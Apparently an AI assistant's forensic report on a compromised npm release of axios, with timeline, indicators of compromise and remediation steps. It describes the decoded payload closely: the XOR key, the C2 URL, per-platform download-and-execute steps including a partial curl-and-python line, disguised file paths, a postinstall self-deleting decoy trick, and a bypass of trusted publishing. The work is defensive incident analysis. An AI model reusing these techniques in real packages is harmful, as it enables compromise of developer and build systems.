This is a serious supply chain incident. Let me do a thorough forensic analysis — NPM registry metadata, tarball static analysis, GitHub commit history, and payload decoding — all without executing anything malicious.

Web search doesn't have it yet — this is breaking. Let me go directly to the npm registry API and GitHub to pull the raw evidence.

CONFIRMED LIVE. Both compromised versions are still tagged latest and legacy. Now pulling plain-crypto-js registry data and downloading all tarballs.

New finding — the payload package was published by nrwise@proton.me, a separate attacker account. Two distinct attacker identities. Now downloading all tarballs for static analysis.

4.2.1 has setup.js + package.md (the self-destruct rename trick) — 4.2.0 does not. Now reading the actual payload.

Now I have the full obfuscated payload. Let me write a complete decoder to reconstruct all decoded strings.

Full string table decoded. Now decoding the inline atob() variables in _entry and reconstructing the fully assembled payloads.

Full payloads reconstructed. Now diffing the axios versions and analyzing the package.json tampering + anti-forensics trick.

Confirmed minimal surgical diff — the ONLY change in both compromised axios versions is package.json (version bump + plain-crypto-js dependency injection). Every other file is byte-identical to the legitimate release. Now analyzing the anti-forensics package.md trick and doing comprehensive checksums.

Now doing passive OSINT on the C2 domain and checking download stats.

C2 domain registered ~8 hours before the malicious plain-crypto-js@4.2.0 was published — classic attack prep timing. IP 142.11.206.73. Now checking the IP geolocation and ARIN data, then download stats.

Downloads API only lags to 2026-03-29 — the attack started at 00:21 UTC today, meaning ~6.5M+ installs/day could already be affected. Now checking the axios GitHub commit history and release tags.

Critical finding: No v1.14.1 GitHub tag or release exists — the malicious publish bypassed GitHub Actions entirely. Also jasonsaayman was active on GitHub at 18:15 UTC on March 30 — account was likely compromised in the ~6-hour window before the malicious publish. Checking the suspicious commit and the axios team's response commit.

The axios team is already responding — deprecate.yml was committed at 01:42 UTC (41 minutes after the malicious publish) with default version 1.14.1. Now checking the complete deprecate.yml workflow and verifying sha1 integrity of all packages.

SHA1 checksums match registry exactly — tarballs are authentic. Now reading the publish.yml to understand the OIDC bypass, then checking nrwise account history.

Checking @c8o/nimbus-core for tampering and examining the bin/ssl_hotfix.js that was removed the day of the attack — potentially a prior backdoor.

ssl_hotfix.js is clean — it's a legitimate OpenSSL legacy provider shim, not a backdoor. Now compiling everything into the comprehensive forensic note and saving a full analysis file.

Here's the full forensic picture — everything verified directly from npm registry, tarballs, GitHub API, and DNS. This is a real, confirmed, active incident.

Axios Supply Chain Attack — Forensic Analysis

Status: ACTIVE — both compromised versions are still tagged latest and legacy on npm as of this analysis.

What happened

The jasonsaayman npm maintainer account was compromised. The attacker changed the account email from jasonsaayman@gmail.com to ifstap@proton.me, then published two backdoored axios versions directly via npm CLI — bypassing the GitHub Actions OIDC trusted publisher that had been used for 1.14.0.

A second attacker-controlled account, nrwise (nrwise@proton.me), pre-staged the payload delivery package plain-crypto-js the day prior.

Confirmed attack timeline

Delivery chain

npm install axios → resolves latest → 1.14.1 → pulls plain-crypto-js@^4.2.1 → npm postinstall runs node setup.js → platform-specific backdoor executes → setup.js self-destructs and overwrites package.json with a clean decoy.

The only difference between the compromised axios and legitimate axios: a single added line in package.json:

Every other source file in both 1.14.1 and 0.30.4 is byte-identical to 1.14.0/0.30.3. No v1.14.1 tag exists on GitHub — the OIDC pipeline was never triggered.

Payload — fully decoded

Obfuscation: XOR + base64, key "OrDeR_7077". C2: http://sfrclak.com:8000/6202033

macOS — AppleScript launched via osascript: Downloads stage-2 binary to /Library/Caches/com.apple.act.mond (disguised as Apple daemon), chmod 770, runs via /bin/zsh

Windows — VBScript → masked PowerShell: Copies PowerShell to %PROGRAMDATA%\wt.exe (disguised as Windows Terminal), creates a VBScript that downloads and executes a .ps1 from the C2 with -ExecutionPolicy bypass -WindowStyle hidden, then deletes all intermediaries

Linux — curl + Python: curl -o /tmp/ld.py ... && nohup python3 /tmp/ld.py <C2_URL>

Anti-forensics: After execution — deletes setup.js, deletes the malicious package.json, renames package.md (which contains a clean decoy package.json with version 4.2.0 and no scripts section) into place. Post-infection node_modules/plain-crypto-js/ shows zero evidence.

Attacker infrastructure

• C2 IP: 142.11.206.73 — Hostwinds LLC (AS54290), Dallas TX
• C2 domain: sfrclak.com — Namecheap, registered 2026-03-30T16:03:46Z (8 hours before first malicious package)
• C2 URL: http://sfrclak.com:8000/6202033
• Abuse contacts: abuse@namecheap.com, Hostwinds abuse

Indicators of compromise

Network: 142.11.206.73, sfrclak.com, http://sfrclak.com:8000/6202033

Files — macOS: /Library/Caches/com.apple.act.mond Files — Windows: %PROGRAMDATA%\wt.exe, %TEMP%\6202033.vbs, %TEMP%\6202033.ps1 Files — Linux: /tmp/ld.py

Package SHA1 (npm shasum):

• axios@1.14.1 → 2553649f2322049666871cea80a5d0d6adc700ca
• axios@0.30.4 → d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
• plain-crypto-js@4.2.1 → 07d889e2dadce6f3910dcbc253317d28ca61c766

Blast radius

~100 million downloads per week, ~6.5 million per day from the last available stats period. The true transitive impact is substantially higher — axios is a direct dependency of hundreds of thousands of other npm packages. Any CI/CD system, developer workstation, or container build that ran npm install or npm ci after 2026-03-31T00:21Z with a non-pinned axios reference is potentially affected.

OIDC bypass — why it worked

npm's OIDC trusted publisher is advisory, not enforced. A maintainer holding valid CLI credentials can always publish directly with npm publish, bypassing provenance entirely. The publish.yml workflow only triggers on v1.*.* GitHub tags — the 0.30.x line was never migrated to OIDC — making 0.30.4 trivially publishable.

What to do right now

If you maintain dependencies:

• Pin to axios@1.14.0 or axios@0.30.3 immediately
• Delete node_modules/ + package-lock.json, reinstall clean
• Check build logs for any installs after 2026-03-31T00:21Z
• Scan for IoC files listed above

If a system may have been hit:

• Treat it as fully compromised — the stage-2 payload content is still unknown (it requires live C2 contact to retrieve)
• Rotate all secrets, tokens, and credentials accessible from affected build environments

Full report saved to: /workspace/axios-forensics/analysis/FULL_FORENSIC_REPORT.md